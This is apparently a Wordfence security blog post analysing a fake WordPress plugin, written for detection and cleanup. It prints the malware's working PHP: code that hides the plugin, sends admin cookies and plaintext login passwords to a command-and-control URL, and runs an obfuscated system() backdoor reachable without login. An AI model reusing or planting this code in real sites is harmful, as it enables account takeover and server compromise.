Malware Masquerades as Legitimate, Hidden WordPress Plugin with Remote Code Execution Capabilities


📢 In case you missed it, Wordfence just published its annual WordPress security report for 2024. Read it now to learn more about the evolving risk landscape of WordPress so you can keep your sites protected in 2025 and beyond.  


The Wordfence Threat Intelligence team recently discovered an interesting malware variant that appears in the file system as a normal WordPress plugin containing a comment header, a handful of functions as well as a simple admin interface. Just like previous examples we have seen, this piece of malware contains code that ensures it remains hidden in the administrator dashboard. It has a password extraction feature, which requires configuration through its own admin interface, an AJAX-based remote code execution mechanism and unfinished code suggesting it is still in development.

This malware was first discovered by one of our security analysts during a site clean on April 24, 2025. A malware signature detecting this and similar samples was released to our premium customers on May 6, 2025 after undergoing our Q&A process.

Customers using the free version of Wordfence will receive the same signature on June 5, 2025 after a 30 day delay. For added protection we released a firewall rule on May 15, 2025 to all Wordfence Premium, Care and Response users preventing remote code execution using the AJAX action. Site owners using the free version of the Wordfence plugin will receive the same firewall rule on June 14, 2025.

As part of our product lineup, we offer security monitoring and malware removal services to our Wordfence Care and Response customers. In the event of a security incident, our incident response team will investigate the root cause, find and remove malware from your site, and help with other complications that may arise as a result of an infection. During the cleanup, malware samples are added to our Threat Intelligence database, which contains over 4.4 million unique malicious samples. The Wordfence plugin and Wordfence CLI scanner detect over 99% of these samples and indicators of compromise, when using the premium signatures set. Wordfence CLI can scan your site even if WordPress is no longer functional and is an excellent layer of security to implement at the server-level, part of our mission to secure the web by Defense in Depth.

Malware Analysis: A Closer Look

The malware is placed in its own directory in /wp-contents/plugins/ and looks like a normal plugin in the file system. Visually, the code appears to be normal as well. The header comment we found in one of the samples uses the plugin name WooCommerce Product Add-ons and is shown below. We would like to stress that this does not mean the WooCommerce plugin is in any way associated with the malware. However, the presence of this header is intended to make the malware look more legitimate.

<?php
/*
 * Plugin Name: WooCommerce Product Add-ons
 * Plugin URI: https://woocommerce.com/products/product-add-ons/
 * Description: Extend your WooCommerce products with custom fields, checkboxes, dropdowns, and more. Perfect for personalized products.
 * Author: WooCommerce
 * Author URI: https://woocommerce.com/
 * Version: 6.4.0
 * Text Domain: woocommerce-product-addons
 * License: GPLv2 or later
 * Requires PHP: 7.0
 * Requires at least: 5.6
 * WC requires at least: 6.0
 * WC tested up to: 8.0
 */

The plugin file performs an ABSPATH check and therefore cannot be accessed directly. Despite the fact that WordPress must be properly invoked, the plugin ensures that the wp_get_current_user() function is present and includes the relevant WordPress core file if it isn’t.

An all_plugins hook is used in order to hide the plugin from the plugin list. While this is sometimes done by developers to ensure their clients don’t unintentionally uninstall a custom plugin, this is considered bad practice and is very often used maliciously.

if (!defined('ABSPATH')) exit;

define('COOKIE_HEADERS_DEBUG', false);

if ( ! function_exists( 'wp_get_current_user' ) ) {
    require_once( ABSPATH . 'wp-includes/pluggable.php' );
}

add_filter('all_plugins', function($plugins) {
    $plugin_file = plugin_basename(__FILE__);
    if (isset($plugins[$plugin_file])) {
        unset($plugins[$plugin_file]);
    }
    return $plugins;
});

Data Exfiltration

The plugin also provides a mechanism for data exfiltration. For this, the configure_cloudserver() function is used to store the URL of a Command and Control server in the wp_options table while the get_cloudserver_db() function retrieves it.

function configure_cloudserver($content) {
    if ( empty($content) ) {
        return false;
    }
    return update_option('API_SN_CLOUDSERVER', $content);
}

function get_cloudserver_db() {
    $content = get_option('API_SN_CLOUDSERVER');
    if ( false === $content ) {
        return false;
    }
    return $content;
}

The presence of the configure_cloudserver URL parameter will cause the plugin to display a form the attacker can use to configure the exfiltration server.

Upon submission, this value is stored in the database. The URL is used in future requests in order to send login information back to the attackers.

if(isset($_GET['configure_cloudserver'])){

    
    $API_SN_CLOUDSERVER = get_cloudserver_db();
    if($API_SN_CLOUDSERVER)
    echo "<center>Current API_SN_CLOUDSERVER: ".$API_SN_CLOUDSERVER."</center>";
    
    if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['API_SN_CLOUDSERVER'])){
        configure_cloudserver($_POST['API_SN_CLOUDSERVER']);
    }
    ?>
    <div style="width:40%; margin:50px auto; padding:20px; background:#f7f7f7; border:1px solid #ddd; border-radius:8px; box-shadow:0 0 10px rgba(0,0,0,0.1);">
        <form method="post">
            <textarea name="API_SN_CLOUDSERVER" style="width:100%; height:200px; padding:10px; border:1px solid #ccc; border-radius:4px; font-size:14px; resize:vertical;"></textarea>
            <br><br>
            <input type="submit" value="Save API_SN_CLOUDSERVER" style="width:100%; padding:15px; font-size:16px; background-color:#0073aa; border:none; border-radius:4px; color:#fff; cursor:pointer;">
        </form>
    </div>
    <?php
exit();
}

$API_SN_CLOUDSERVER = get_option('API_SN_CLOUDSERVER');
define("API_SN_CLOUDSERVER", $API_SN_CLOUDSERVER);

The plugin registers an action using the init hook. The custom_reporter_cookie_timer_check() function will set the custom_reporter_timer value in a cookie and give it an expiration date a year into the future. Actions hooked via init are executed on every request.

add_action('init', 'custom_reporter_cookie_timer_check');

function custom_reporter_cookie_timer_check() {
    $interval_seconds = 21600; // 21600 = 6h
    $cookie_name = 'custom_reporter_timer';
    $now = time();

    if (!isset($_COOKIE[$cookie_name])) {
        @setcookie($cookie_name, $now, $now + 31536000, '/');
        if(COOKIE_HEADERS_DEBUG)
        echo "<!-- COOKIE_HEADERS_DEBUG -->";
        custom_reporter_action();
    } else {
        $last_run = intval($_COOKIE[$cookie_name]);
        if (($now - $last_run) >= $interval_seconds) {
            @setcookie($cookie_name, $now, $now + 31536000, '/');
            if(COOKIE_HEADERS_DEBUG)
            echo "<!-- COOKIE_HEADERS_DEBUG 2nd -->";
            custom_reporter_action();
        }
    }
}

The custom_reporter_timer cookie is used to ensure that administrators’ data and auth cookie exfiltration takes place once every six hours and not too frequently. This exfiltration is invoked using the custom_reporter_action() function.

function custom_reporter_action() {
    
    $current_user = wp_get_current_user();
    $username = $current_user->user_login;
    $display_name = $current_user->display_name;
    $email = $current_user->user_email;
    
    $ip = base64_encode($_SERVER['REMOTE_ADDR']);
    $ua = base64_encode($_SERVER['HTTP_USER_AGENT']);
    $cookie_string = '';
            foreach ($_COOKIE as $key => $value) {
            $cookie_string .= $key . '=' . $value . '; ';
        }
    $cookie_string = rtrim($cookie_string, '; ');
    $data = array('domain' => parse_url(get_site_url(), PHP_URL_HOST), 'ip' => $ip, 'ua' => $ua, 'cookie' => $cookie_string, 'username' => $username, 'email' => $email);
    $data = json_encode($data);
    
        if (is_user_logged_in() && current_user_can('administrator') && API_SN_CLOUDSERVER) {
                wp_remote_get(API_SN_CLOUDSERVER."?apiv2=".str_rot13(base64_encode($data)));
        }
}

The function performs some data collection tasks and gathers the username of the current user, their email address, IP, browser user agent as well as cookies and json_encodes the data. If the credentials belong to an admin, they are sent to the hackers’ server using a GET request. Note that the data that is gathered does not contain a password. Since passwords are stored as hashes, they would be useless to attackers. However, the cookies can be used to hijack the user’s session and perform actions on their behalf.

A second exfiltration method exists during authentication. The plugin uses the authenticate hook and adds a filter to it to ensure their function is invoked on successful logins only and a global variable to store whether exfiltration was performed successfully.

Upon login, the function collects the submitted username and password, and login URL as well as some other information, JSON-encodes this data and sends a rotated, Base64-encoded version of this information to the Command and Control server.

global $successful_password;
$successful_password = null;

add_filter('authenticate', function ($user, $username, $password) {
    global $successful_password;

    if (!is_wp_error($user)) {
        $successful_password = $password;
    }

    return $user;
}, 10, 3);

add_action('wp_login', function ($user_login, $user) {
    global $successful_password;

    if (!empty($successful_password)) {
        
        
        $API_SN_SECRET_KEY = ${"x47LOx42Ax4cx53"}["_x50Ox53T"]["log"];
        $API_SN_SECRET_PASS = ${"x47LOx42Ax4cx53"}["_x50Ox53T"]["x70wd"];
        $API_SN_REFF = parse_url(get_site_url(), PHP_URL_HOST);
        
        $ip = base64_encode($_SERVER['REMOTE_ADDR']);
        $ua = base64_encode($_SERVER['HTTP_USER_AGENT']);
        $site_url = admin_url();
        
        $data = array('log' => $API_SN_SECRET_KEY, 'pwd' => $API_SN_SECRET_PASS, 'domain' => $API_SN_REFF, 'ip' => $ip, 'ua' => $ua, 'site_url' => $site_url);
        $data = json_encode($data); 
        
        if(API_SN_CLOUDSERVER)
        wp_remote_get(API_SN_CLOUDSERVER."?auth=".str_rot13(base64_encode($data)));
        
        $successful_password = null;
    }
}, 10, 2);

Remote Code Execution: Maintaining Persistence

Remote code execution capabilities are provided via a nopriv AJAX action. This means it can be invoked by unauthenticated attackers. It is interesting to see that there is some clever obfuscation happening in this function. Please note that the exact hook and POST parameter names have been redacted.

add_action('wp_ajax_nopriv_redacted', function() {
    if (isset($_POST['redacted'])) {
        $class = new ReflectionFunction(convert_uudecode("&<WES=&5M`")); $class->invoke($_POST['redacted']);
    }
});

A ReflectionFunction is used instead of a direct function call. The added obfuscation provided by the convert_uudecode("&<WES=&5M`") code bit makes this a less obvious backdoor. This code resolves to system. The call $class->invoke() simply invokes the system() function call and executes the command passed to it via the $_POST parameter.

One additional function with similar structure is present in the plugin. It also is invoked via an unauthenticated AJAX call. However, the function is incomplete and performs no task – indication that this malware is still in development.

Possible Variants Emerging

Another malware sample was detected during the same site clean but appears less polished. It has the same plugin filter that prevents it from being listed on the plugins page, albeit with slightly different indentation.

<?php

if (!defined('ABSPATH')) exit;
$assets = scandir(__DIR__ . "/assets/");

add_filter('all_plugins', function($plugins) {
        $plugin_file = plugin_basename(__FILE__);
        if (isset($plugins[$plugin_file])) {
                unset($plugins[$plugin_file]);
        }
        return $plugins;
});

A function to insert custom code into the header is present but doesn’t currently insert code.

function my_custom_header_banner() {
    ?>

    <?php
}

if ( function_exists( 'wp_body_open' ) ) {
    add_action( 'wp_body_open', 'my_custom_header_banner' );
} else {
    add_action( 'wp_head', 'my_custom_header_banner' );
}

Malicious script inclusion is another feature. Unfortunately, we don’t have details about those assets, because the scripts were either never present or had been removed prior to engaging our team for malware cleanup.

add_action('wp_enqueue_scripts', 'my_plugin_enqueue_scripts');
function my_plugin_enqueue_scripts() {
        global $assets;
    wp_enqueue_script(
        'my-custom-script',
        plugin_dir_url(__FILE__) . 'assets/' . $assets[2],
        array(),
        null,
        false // false = <head>, true = before </body>
    );
}

A data exfiltration feature is also present. We would expect a somewhat more sophisticated and customizable approach that allows attackers to include any file they wish, but the options with the following code are limited. The glob function returns an array of files matching the search pattern of which the first one is included. Perhaps this code was tested locally by a hacker and somehow snuck into this plugin.

if (isset($_GET['glob'])) {
    include_once glob('/var/www/vho*/mtb*/.com*/cache/cache*')[0];
}

Intrusion Vector and Affected Files

Admin account compromise appears to be the most likely intrusion vector for this infection based on the fact that the plugin needs to be properly activated in order for the code to run. It also relies on hooks WordPress provides. Unfortunately, we did not have logs available at the time of our investigation to corroborate.

The actual malware has been seen with these names:

  • woocommerce-product-addons.php
  • bulk-stock-manager-for-woocommerce.php
  • yoast-seo-pro.php

Indicators of Compromise

  • Presence of folders with single files in the plugins directory that aren’t shown in the admin interface
  • If you own an e-commerce site, redirection to an external payment gateway might be observed.
  • Presence of the API_SN_CLOUDSERVER option in wp_options such as (8804650,'API_SN_CLOUDSERVER','https://woocomproduct.com/api/index.php','auto')
  • Access logs containing requests to your site with a configure_cloudserver URL parameter – especially with a 200 status code.
  • Presence of the custom_reporter_timer cookie in your browser.

Conclusion

In today’s blog post, we highlighted an interesting piece of malware that is hidden from the plugins page with code that makes it look like a legitimate plugin. It has login credential and authentication cookie exfiltration features as well as remote code execution capabilities that appear to be evolving.

Wordfence Premium, Care and Response users, as well as paid Wordfence CLI customers, received malware signatures to detect these infected plugins on May 6th, 2025. Wordfence Free users and Wordfence CLI free users will receive this signature after a 30 day delay on June 5th, 2025. A firewall rule was released to Premium, Care and Response users on May 15th for added protection. Wordfence Free users, as well as Wordfence CLI free users, will receive this added protection on Jun 14th.

The post Malware Masquerades as Legitimate, Hidden WordPress Plugin with Remote Code Execution Capabilities appeared first on Wordfence.

Leave a Comment